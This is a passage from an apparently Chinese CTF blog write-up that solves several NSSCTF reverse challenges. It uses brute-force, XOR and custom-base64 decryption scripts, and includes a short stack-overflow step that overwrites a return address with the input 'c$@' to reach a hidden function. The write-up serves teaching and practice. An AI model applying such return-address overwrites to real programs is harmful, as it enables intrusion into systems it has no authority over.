class="number">1894986606</span>;</span><br><span class="line">v19 = (v19 >> <span class="number">22</span>) | (v19 << <span class="number">10</span>);</span><br><span class="line">v19 += v22;</span><br><span class="line">v20 = v20 + v13 + (v22 ^ (v19 | ~v21)) - <span class="number">1051523</span>;</span><br><span class="line">v20 = (v20 >> <span class="number">17</span>) | (v20 << <span class="number">15</span>);</span><br><span class="line">v20 += v19;</span><br><span class="line">v21 = v21 + v4 + (v19 ^ (v20 | ~v22)) - <span class="number">2054922799</span>;</span><br><span class="line">v21 = (v21 >> <span class="number">11</span>) | (v21 << <span class="number">21</span>);</span><br><span class="line">v21 += v20;</span><br><span class="line">v22 += v11 + (v20 ^ (v21 | ~v19)) + <span class="number">1873313359</span>;</span><br><span class="line">v22 = (v22 >> <span class="number">26</span>) | (v22 << <span class="number">6</span>);</span><br><span class="line">v22 += v21;</span><br><span class="line">v19 = v19 + v18 + (v21 ^ (v22 | ~v20)) - <span class="number">30611744</span>;</span><br><span class="line">v19 = (v19 >> <span class="number">22</span>) | (v19 << <span class="number">10</span>);</span><br><span class="line">v19 += v22;</span><br><span class="line">v20 = v20 + v9 + (v22 ^ (v19 | ~v21)) - <span class="number">1560198380</span>;</span><br><span class="line">v20 = (v20 >> <span class="number">17</span>) | (v20 << <span class="number">15</span>);</span><br><span class="line">v20 += v19;</span><br><span class="line">v21 += v16 + (v19 ^ (v20 | ~v22)) + <span class="number">1309151649</span>;</span><br><span class="line">v21 = (v21 >> <span class="number">11</span>) | (v21 << <span class="number">21</span>);</span><br><span class="line">v21 += v20;</span><br><span class="line">v22 = v22 + v7 + (v20 ^ (v21 | ~v19)) - <span class="number">145523070</span>;</span><br><span class="line">v22 = (v22 >> <span class="number">26</span>) | (v22 << <span class="number">6</span>);</span><br><span class="line">v22 += v21;</span><br><span class="line">v19 = v19 + v14 + (v21 ^ (v22 | ~v20)) - <span class="number">1120210379</span>;</span><br><span class="line">v19 = (v19 >> <span class="number">22</span>) | (v19 << <span class="number">10</span>);</span><br><span class="line">v19 += v22;</span><br><span class="line">v20 += v5 + (v22 ^ (v19 | ~v21)) + <span class="number">718787259</span>;</span><br><span class="line">v20 = (v20 >> <span class="number">17</span>) | (v20 << <span class="number">15</span>);</span><br><span class="line">v20 += v19;</span><br><span class="line">v21 = v21 + v12 + (v19 ^ (v20 | ~v22)) - <span class="number">343485551</span>;</span><br><span class="line">v21 = (v21 >> <span class="number">11</span>) | (v21 << <span class="number">21</span>);</span><br><span class="line">v21 += v20;</span><br><span class="line">*a1 += v22;</span><br><span class="line">a1[<span class="number">1</span>] += v21;</span><br><span class="line">a1[<span class="number">2</span>] += v20;</span><br><span class="line">result = v19 + a1[<span class="number">3</span>];</span><br><span class="line">a1[<span class="number">3</span>] = result;</span><br><span class="line"><span class="keyword">return</span> result;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">swap_int_bytes</span><span class="params">(<span class="type">int</span> value)</span> {</span><br><span class="line"><span class="type">int</span> g = value % <span class="number">10</span>;</span><br><span class="line"><span class="type">int</span> s = value % <span class="number">100</span> / <span class="number">10</span>;</span><br><span class="line"><span class="type">int</span> b = value % <span class="number">1000</span> / <span class="number">100</span>;</span><br><span class="line"><span class="type">int</span> q = value / <span class="number">1000</span>;</span><br><span class="line"><span class="comment">//#0x34333231</span></span><br><span class="line"><span class="keyword">return</span> (<span class="number">0x30000000</span> + g * <span class="number">0x1000000</span> + <span class="number">0x300000</span> + s * <span class="number">0x10000</span> + <span class="number">0x3000</span> + b * <span class="number">0x100</span> + <span class="number">0x30</span> + q);</span><br><span class="line">}</span><br><span class="line"><span class="type">void</span> <span class="title function_">Back</span><span class="params">(<span class="type">int</span>* b)</span> {</span><br><span class="line"><span class="comment">//*b = 0xb3ceb87f;</span></span><br><span class="line"><span class="comment">//*(b + 1) = 0x95c759bd;</span></span><br><span class="line"><span class="comment">//*(b + 2) = 0x67f61d6b;</span></span><br><span class="line"><span class="comment">//*(b + 3) = 0x4c6a2929;</span></span><br><span class="line"><span class="comment">//*b = 0x67452301;</span></span><br><span class="line"><span class="comment">//*(b + 1) = 0xEFCDAB89;</span></span><br><span class="line"><span class="comment">//*(b + 2) = 0x98BADCFE;</span></span><br><span class="line"><span class="comment">//*(b + 3) = 0x10325476;</span></span><br><span class="line"><span class="comment">//*b = 0x5e3982f1;</span></span><br><span class="line"><span class="comment">//*(b + 1) = 0x4ba3ead4;</span></span><br><span class="line"><span class="comment">//*(b + 3) = 0x284c127e;</span></span><br><span class="line"><span class="comment">//*(b + 2) = 0x50a03ff5;</span></span><br><span class="line"><span class="comment">//* b = 0x49af2a1c;</span></span><br><span class="line"><span class="comment">//*(b + 1) = 0x114c5795;</span></span><br><span class="line"><span class="comment">//*(b + 2) = 0x90c7d2db;</span></span><br><span class="line"><span class="comment">//*(b + 3) = 0x08dfd724;</span></span><br><span class="line"><span class="comment">//* b = 0x775E94D5;</span></span><br><span class="line"><span class="comment">//*(b + 1) = 0xae15272e;</span></span><br><span class="line"><span class="comment">//*(b + 2) = 0x8175FF12;</span></span><br><span class="line"><span class="comment">//*(b + 3) = 0x7E47B08F;</span></span><br><span class="line"><span class="comment">//* b = 0xB8DAC3C3;</span></span><br><span class="line"><span class="comment">//*(b + 1) = 0xa9edf8e8;</span></span><br><span class="line"><span class="comment">//*(b + 2) = 0x76E62AC6;</span></span><br><span class="line"><span class="comment">//*(b + 3) = 0xB9B6F5CF;</span></span><br><span class="line"><span class="comment">//* b = 0x919ECD75;</span></span><br><span class="line"><span class="comment">//*(b + 1) = 0x1badf4d1;</span></span><br><span class="line"><span class="comment">//*(b + 2) = 0x4F968AF8;</span></span><br><span class="line"><span class="comment">//*(b + 3) = 0x938D0769;</span></span><br><span class="line"><span class="comment">//* b = 0x7CD8C07B;</span></span><br><span class="line"><span class="comment">//*(b + 1) = 0xaf8be74e;</span></span><br><span class="line"><span class="comment">//*(b + 2) = 0xABA6FEA9;</span></span><br><span class="line"><span class="comment">//*(b + 3) = 0x895B21A4;</span></span><br><span class="line"><span class="comment">//* b = 0xB9FB8BC6;</span></span><br><span class="line"><span class="comment">//*(b + 1) = 0xeeb693f7;</span></span><br><span class="line"><span class="comment">//*(b + 2) = 0x5F982BEE;</span></span><br><span class="line"><span class="comment">//*(b + 3) = 0x34E6E1FC;</span></span><br><span class="line">* b = <span class="number">0x34234D34</span>;</span><br><span class="line">*(b + <span class="number">1</span>) = <span class="number">0xf52fcc37</span>;</span><br><span class="line">*(b + <span class="number">2</span>) = <span class="number">0x63F3D9F6</span>;</span><br><span class="line">*(b + <span class="number">3</span>) = <span class="number">0x1BD854CA</span>;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">()</span> {</span><br><span class="line"><span class="type">int</span> a = <span class="number">0x67452301</span>;</span><br><span class="line"><span class="type">int</span>* b = &a;</span><br><span class="line"><span class="comment">//*(b+1) = 0xEFCDAB89;</span></span><br><span class="line"><span class="comment">//*(b + 2) = 0x98BADCFE;</span></span><br><span class="line"><span class="comment">//*(b + 3) = 0x10325476;</span></span><br><span class="line"><span class="comment">//*(b + 4) = 0x35383431;</span></span><br><span class="line"><span class="comment">//*(b + 5) = 0x0080;</span></span><br><span class="line"><span class="comment">//sub_6536F0(&a, int( & a + 4),0x20);</span></span><br><span class="line"> <span class="comment">//初始化幻数</span></span><br><span class="line">Back(b);</span><br><span class="line"> <span class="comment">//从0到9999进行爆破</span></span><br><span class="line"><span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">0</span>; i < <span class="number">10000</span>; i++) {</span><br><span class="line"> <span class="comment">//处理数字</span></span><br><span class="line">*(b + <span class="number">4</span>) = swap_int_bytes(i);</span><br><span class="line"> <span class="comment">//加密</span></span><br><span class="line">sub_6536F0(&a, <span class="type">int</span>(&a + <span class="number">4</span>), <span class="number">0x1220</span>);</span><br><span class="line"><span class="comment">//c3c3dab8</span></span><br><span class="line"><span class="comment">//75cd9e91</span></span><br><span class="line"><span class="comment">//7bc0d87c</span></span><br><span class="line"><span class="comment">//c68bfbb9</span></span><br><span class="line"><span class="comment">//344d2334</span></span><br><span class="line"><span class="comment">//df8b0956</span></span><br><span class="line"> <span class="comment">//当等于目标md5值的前8个字符的时候则认为正确</span></span><br><span class="line"><span class="keyword">if</span> (a == <span class="number">0x56098bdf</span>) {</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"%d\n"</span>, i);</span><br><span class="line"><span class="keyword">break</span>;</span><br><span class="line">}</span><br><span class="line"><span class="keyword">else</span> {</span><br><span class="line"> <span class="comment">//不等于则重新初始化幻数</span></span><br><span class="line">Back(b);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure><p>输出:</p><p><img src="image-20241014095948071.png" alt="image-20241014095948071"></p><p>得到最后一轮的数字为4261</p><p>最终的flag为<code>NSSCTF{1485059684930231436754585566745634684261}</code></p><h3 id="Reverse-or-Pwn">Reverse_or_Pwn</h3><p>这个题目运行需要输入flag和key,利用IDA打开发现FLAG只是一个简单异或算法</p><p><img src="image-20241014101147327.png" alt="image-20241014101147327"></p><p>解密POC:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line">v8 = [<span class="number">0x2E</span>,<span class="number">0x0D</span>,<span class="number">0x1E</span>,<span class="number">0x17</span>,<span class="number">0x03</span>,<span class="number">0x4F</span>,<span class="number">0x2C</span>,<span class="number">0x02</span>,<span class="number">0x61</span>,<span class="number">0x41</span>,<span class="number">0x53</span>,<span class="number">0x57</span>,<span class="number">0x1E</span>,<span class="number">0x21</span>,<span class="number">0x57</span>,<span class="number">0x44</span>]</span><br><span class="line">v7=[<span class="number">0</span>]*<span class="number">16</span></span><br><span class="line">v7[<span class="number">0</span>] = <span class="number">122</span></span><br><span class="line">v7[<span class="number">1</span>] = <span class="number">101</span></span><br><span class="line">v7[<span class="number">2</span>] = <span class="number">119</span></span><br><span class="line">v7[<span class="number">3</span>] = <span class="number">100</span></span><br><span class="line">v7[<span class="number">4</span>] = <span class="number">92</span></span><br><span class="line">v7[<span class="number">5</span>] = <span class="number">38</span></span><br><span class="line">v7[<span class="number">6</span>] = <span class="number">95</span></span><br><span class="line">v7[<span class="number">7</span>] = <span class="number">93</span></span><br><span class="line">v7[<span class="number">8</span>] = <span class="number">19</span></span><br><span class="line">v7[<span class="number">9</span>] = <span class="number">36</span></span><br><span class="line">v7[<span class="number">10</span>] = <span class="number">32</span></span><br><span class="line">v7[<span class="number">11</span>] = <span class="number">50</span></span><br><span class="line">v7[<span class="number">12</span>] = <span class="number">108</span></span><br><span class="line">v7[<span class="number">13</span>] = <span class="number">87</span></span><br><span class="line">v7[<span class="number">14</span>] = <span class="number">50</span></span><br><span class="line">v7[<span class="number">15</span>] = <span class="number">123</span></span><br><span class="line">flag = []</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">16</span>):</span><br><span class="line"> flag.append(v7[i] ^ v8[i])</span><br><span class="line">f = <span class="string">""</span>.join(<span class="built_in">chr</span>(i) <span class="keyword">for</span> i <span class="keyword">in</span> flag)</span><br><span class="line"><span class="built_in">print</span>(f)</span><br><span class="line"><span class="comment">#输出:This_is_reserve?</span></span><br></pre></td></tr></table></figure><p>提交发现flag不对!!!</p><p>看了下IDA提取的字符串,发现存在另一个函数</p><p><img src="image-20241014102000981.png" alt="image-20241014102000981"></p><p>这个函数没有被其他函数引用,但是最终输出的内容和FLAG有关所以尝试解密</p><p>从字符串特征可以看到是base64加密,但每轮加密都替换了base64的原始字符顺序,解密脚本如下:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">base64_encode</span>(<span class="params">input_bytes,BASE64_CHARS</span>):</span><br><span class="line"> <span class="comment"># 将输入转换为字节数组</span></span><br><span class="line"> input_bytes = <span class="built_in">bytearray</span>(input_bytes, <span class="string">'utf-8'</span>)</span><br><span class="line"> </span><br><span class="line"> result = []</span><br><span class="line"> i = <span class="number">0</span></span><br><span class="line"> <span class="keyword">while</span> i < <span class="built_in">len</span>(input_bytes):</span><br><span class="line"> <span class="comment"># 取出三个字节</span></span><br><span class="line"> chunk = input_bytes[i:i+<span class="number">3</span>]</span><br><span class="line"> i += <span class="number">3</span></span><br><span class="line"> </span><br><span class="line"> <span class="comment"># 计算当前chunk的长度,并根据长度进行处理</span></span><br><span class="line"> <span class="keyword">if</span> <span class="built_in">len</span>(chunk) == <span class="number">1</span>:</span><br><span class="line"> <span class="comment"># 前面补两个0</span></span><br><span class="line"> bits = chunk[<span class="number">0</span>] << <span class="number">16</span></span><br><span class="line"> padding = <span class="number">2</span></span><br><span class="line"> <span class="keyword">elif</span> <span class="built_in">len</span>(chunk) == <span class="number">2</span>:</span><br><span class="line"> <span class="comment"># 前面补一个0</span></span><br><span class="line"> bits = (chunk[<span class="number">0</span>] << <span class="number">16</span>) + (chunk[<span class="number">1</span>] << <span class="number">8</span>)</span><br><span class="line"> padding = <span class="number">1</span></span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> <span class="comment"># 无填充</span></span><br><span class="line"> bits = (chunk[<span class="number">0</span>] << <span class="number">16</span>) + (chunk[<span class="number">1</span>] << <span class="number">8</span>) + chunk[<span class="number">2</span>]</span><br><span class="line"> padding = <span class="number">0</span></span><br><span class="line"> </span><br><span class="line"> <span class="comment"># 将24位数据拆分为4个6位数据</span></span><br><span class="line"> indices = [(bits >> (<span class="number">18</span> - <span class="number">6</span> * x)) & <span class="number">63</span> <span class="keyword">for</span> x <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">4</span>)]</span><br><span class="line"> </span><br><span class="line"> <span class="comment"># 转换为Base64字符并加入结果列表</span></span><br><span class="line"> result.extend(BASE64_CHARS[index] <span class="keyword">for</span> index <span class="keyword">in</span> indices)</span><br><span class="line"> <span class="keyword">if</span> padding!=<span class="number">0</span>:result = result[:-padding]</span><br><span class="line"> <span class="comment"># 添加必要的填充字符</span></span><br><span class="line"> result.extend([<span class="string">"="</span>] * padding)</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">return</span> <span class="string">''</span>.join(result)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">base64_decode</span>(<span class="params">encoded_str,BASE64_CHARS</span>):</span><br><span class="line"> num_padding = encoded_str.count(<span class="string">'='</span>)</span><br><span class="line"> <span class="comment"># 移除所有=字符</span></span><br><span class="line"> encoded_str = encoded_str.rstrip(<span class="string">'='</span>)</span><br><span class="line"> </span><br><span class="line"> <span class="comment"># 将字符串转换为索引数组</span></span><br><span class="line"> indices = [BASE64_CHARS.index(char) <span class="keyword">for</span> char <span class="keyword">in</span> encoded_str]</span><br><span class="line"> indices += [<span class="number">0</span>]*num_padding</span><br><span class="line"> </span><br><span class="line"> result = <span class="built_in">bytearray</span>()</span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="built_in">len</span>(indices), <span class="number">4</span>):</span><br><span class="line"> <span class="comment"># 取出四个字符</span></span><br><span class="line"> chunk = indices[i:i+<span class="number">4</span>]</span><br><span class="line"> </span><br><span class="line"> <span class="comment"># 合并成24位数据</span></span><br><span class="line"> bits = (chunk[<span class="number">0</span>] << <span class="number">18</span>) + (chunk[<span class="number">1</span>] << <span class="number">12</span>) + (chunk[<span class="number">2</span>] << <span class="number">6</span>) + chunk[<span class="number">3</span>]</span><br><span class="line"> </span><br><span class="line"> <span class="comment"># 分割成三个8位数据</span></span><br><span class="line"> bytes_ = [(bits >> (<span class="number">16</span> - <span class="number">8</span> * x)) & <span class="number">255</span> <span class="keyword">for</span> x <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">3</span>)]</span><br><span class="line"> </span><br><span class="line"> <span class="comment"># 根据编码字符串的长度决定实际添加多少字节</span></span><br><span class="line"> result.extend(bytes_[<span class="number">0</span>:<span class="number">3</span> - ((<span class="built_in">len</span>(encoded_str)+num_padding) % <span class="number">4</span>)])</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">return</span> result.decode(<span class="string">'utf-8'</span>).rstrip(<span class="string">'\x00'</span>)</span><br><span class="line"></span><br><span class="line">base64_chars = [i <span class="keyword">for</span> i <span class="keyword">in</span> <span class="string">"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"</span>]</span><br><span class="line">base64_table = [<span class="string">""</span>] * <span class="number">65</span></span><br><span class="line">tables = []</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">shift_base64_table</span>(<span class="params">a1</span>):</span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">64</span>):</span><br><span class="line"> result = base64_chars[i]</span><br><span class="line"> base64_table[(a1 + i) % <span class="number">64</span>] = result</span><br><span class="line"> <span class="keyword">for</span> j <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">64</span>):</span><br><span class="line"> result = base64_table[j]</span><br><span class="line"> base64_chars[j] = result</span><br><span class="line"> tables.append(<span class="string">''</span>.join(base64_table))</span><br><span class="line"><span class="comment">#这里先走一轮加密是为了获取每轮变换过后的的原始字符</span></span><br><span class="line">input2 = <span class="string">"a"</span></span><br><span class="line"><span class="keyword">for</span> j <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>,<span class="number">9</span>,<span class="number">2</span>):</span><br><span class="line"> shift_base64_table(j)</span><br><span class="line"> encoded = base64_encode(input2,base64_table)</span><br><span class="line"> input2 = encoded</span><br><span class="line"> tmp = encoded</span><br><span class="line"><span class="comment">#开始解密</span></span><br><span class="line">tmp = <span class="string">"+/1k6wlc+QFy5zN1+BVC3gVDKwx25zMd/CxU+glG4A925QVd+QRY4AQjBQF6+QFW+/J2GB5FASpuIvwb/Clu9AR1KwByCRRW/Qch+ANO+DM="</span></span><br><span class="line"><span class="keyword">for</span> j <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>,<span class="number">9</span>,<span class="number">2</span>):</span><br><span class="line"> decode = base64_decode(tmp,tables.pop())</span><br><span class="line"> tmp = decode</span><br><span class="line"><span class="built_in">print</span>(tmp)</span><br><span class="line"><span class="comment">#输出:Pwn_and_base_is_so_Easy!</span></span><br></pre></td></tr></table></figure><p>提交发现也不对,结合最后的输出内容发现前面的<code>This_is_reserve?</code>是最终flag的前16个字符串,从第20位才是后面解出来的<code>Pwn_and_base_is_so_Easy!</code></p><p>中间差了3位,结合题目信息<code>flag是NSSCTF{your input}</code>推断和输入的key有关(实际完全没关系,但还是讲一下,<s>代码不能白写</s>)</p><p>解密代码如下:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">fun</span>(<span class="params">a1,a2</span>):</span><br><span class="line"> <span class="keyword">return</span> a1 + <span class="number">114514</span> + <span class="number">16</span> * a2 - <span class="number">66</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> v15 <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1000</span>,<span class="number">3000</span>):</span><br><span class="line"> <span class="keyword">for</span> v14 <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">10</span>,<span class="number">100</span>):</span><br><span class="line"> <span class="keyword">for</span> v13 <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>,<span class="number">10</span>,<span class="number">2</span>):</span><br><span class="line"> v8 = v15 * <span class="number">10000</span> + v14 * <span class="number">100</span> + v13</span><br><span class="line"> v12 = fun(<span class="number">5</span> * v14, <span class="number">1</span>)</span><br><span class="line"> v11 = fun(v8, <span class="number">11</span> * (v14 + v13 - <span class="number">3</span>))</span><br><span class="line"> v10 = v11 - <span class="number">16</span> * v15 + v13 * v12</span><br><span class="line"> <span class="keyword">if</span> v10 == <span class="number">21241824</span>:</span><br><span class="line"> <span class="built_in">print</span>(v8)</span><br><span class="line"><span class="comment">#输出20241008</span></span><br></pre></td></tr></table></figure><p>发现好像也不对,结合程序的提示信息<code>12-16</code>以及题目名反应过来和pwn有关,主函数在最下面调用了fun1,在fun1中将16位的FLAG赋值给了长度为12的<code>Destination</code>,而<code>Destination</code>距离rbp栈上的返回地址刚好差了16位</p><p><img src="image-20241014104531966.png" alt="image-20241014104531966"></p><p>所以需要利用栈溢出修改rbp的返回函数使其跳转到那个fun函数,函数地址是<code>0x00402463</code>对应需要输入的字符串为<code>c$@</code>,刚好三位</p><p><img src="image-20241014105307544.png" alt="image-20241014105307544"></p><p>最终</p><p><img src="image-20241014105338609.png" alt="image-20241014105338609"></p><p>提交后发现不对,问了下出题人,发现是因为跳转到<code>0x00402464</code>也可以实现最终的效果,对应字符串<code>d$@</code></p><p>所以FLAG为:<code>NSSCTF{This_is_reserve?d$@Pwn_and_base_is_so_Easy!}</code></p><h3 id="好像也是py?">好像也是py?</h3><p>利用<code>pycdc.exe</code>进行反编译,但是这里的magic头有问题,所以需要先修改magic头</p><p><img src="image-20241014154045383.png" alt="image-20241014154045383"></p><blockquote><p>本地不同的python版本的头都不一样,可以打开一个本地的pyc文件查看</p></blockquote><p>然后直接反编译即可,也可以使用<a href="https://www.lddgo.net/string/pyc-compile-decompile">在线反编译工具</a></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># Visit https://www.lddgo.net/string/pyc-compile-decompile for more information</span></span><br><span class="line"><span class="comment"># Version : Python 3.10</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> base64</span><br><span class="line">a = <span class="string">'RGtAXV59UXtqTWVbUVd4aWs='</span></span><br><span class="line">key = <span class="string">'114514'</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">cmp</span>():</span><br><span class="line"> <span class="keyword">if</span> a == en:</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">'Wow you are right!!!'</span>)</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">None</span></span><br><span class="line"> <span class="literal">None</span>(<span class="string">'No,Please try again'</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">x</span>(<span class="params">text, key</span>):</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">None</span>((<span class="keyword">lambda</span> <span class="number">.0</span> = <span class="literal">None</span>: <span class="keyword">pass</span><span class="comment"># WARNING: Decompyle incomplete</span></span><br><span class="line">)(<span class="built_in">enumerate</span>(text)))</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">case</span>(<span class="params">text</span>):</span><br><span class="line"> <span class="keyword">return</span> text.swapcase()</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">simple_add_sub</span>(<span class="params">text, shift = (<span class="params"><span class="number">3</span>,</span>)</span>):</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">None</span>((<span class="keyword">lambda</span> <span class="number">.0</span> = <span class="literal">None</span>: <span class="keyword">pass</span><span class="comment"># WARNING: Decompyle incomplete</span></span><br><span class="line">)(text))</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">encrypt</span>(<span class="params">text, key</span>):</span><br><span class="line"> xo = x(text, key)</span><br><span class="line"> sp = <span class="keyword">case</span>(xo)</span><br><span class="line"> ass = simple_add_sub(sp)</span><br><span class="line"> final_text = base64.b64encode(ass.encode()).decode()</span><br><span class="line"> <span class="keyword">return</span> final_text</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">'__main__'</span>:</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">'请输入flag: '</span>)</span><br><span class="line"> ot = <span class="built_in">input</span>()</span><br><span class="line"> en = encrypt(ot, key)</span><br><span class="line"> cmp()</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">None</span></span><br><span class="line"></span><br></pre></td></tr></table></figure><p>发现有两处函数无法反编译成功,所以利用pycdas反编译成opcode解析</p><p>得到opcode后针对两处无法反编译的代码可利用ai工具解读</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">x</span>(<span class="params">text, key</span>):</span><br><span class="line"> <span class="keyword">return</span> <span class="string">''</span>.join(<span class="built_in">chr</span>(<span class="built_in">ord</span>(c) ^ (key[i % <span class="built_in">len</span>(key)])) <span class="keyword">for</span> i, c <span class="keyword">in</span> <span class="built_in">enumerate</span>(text))</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">simple_add_sub</span>(<span class="params">text</span>):</span><br><span class="line"> a = []</span><br><span class="line"> <span class="keyword">for</span> c <span class="keyword">in</span> text:</span><br><span class="line"> <span class="keyword">if</span> c.isalpha():</span><br><span class="line"> a.append(<span class="built_in">chr</span>(<span class="built_in">ord</span>(c) + shift))</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> a.append(c)</span><br><span class="line"> <span class="keyword">return</span> <span class="string">''</span>.join(a)</span><br></pre></td></tr></table></figure><p><code>simple_add_sub</code>有个shift变量有点奇怪,没找到具体的值是什么,但没关系我们可以爆破</p><p>最终的POC</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span 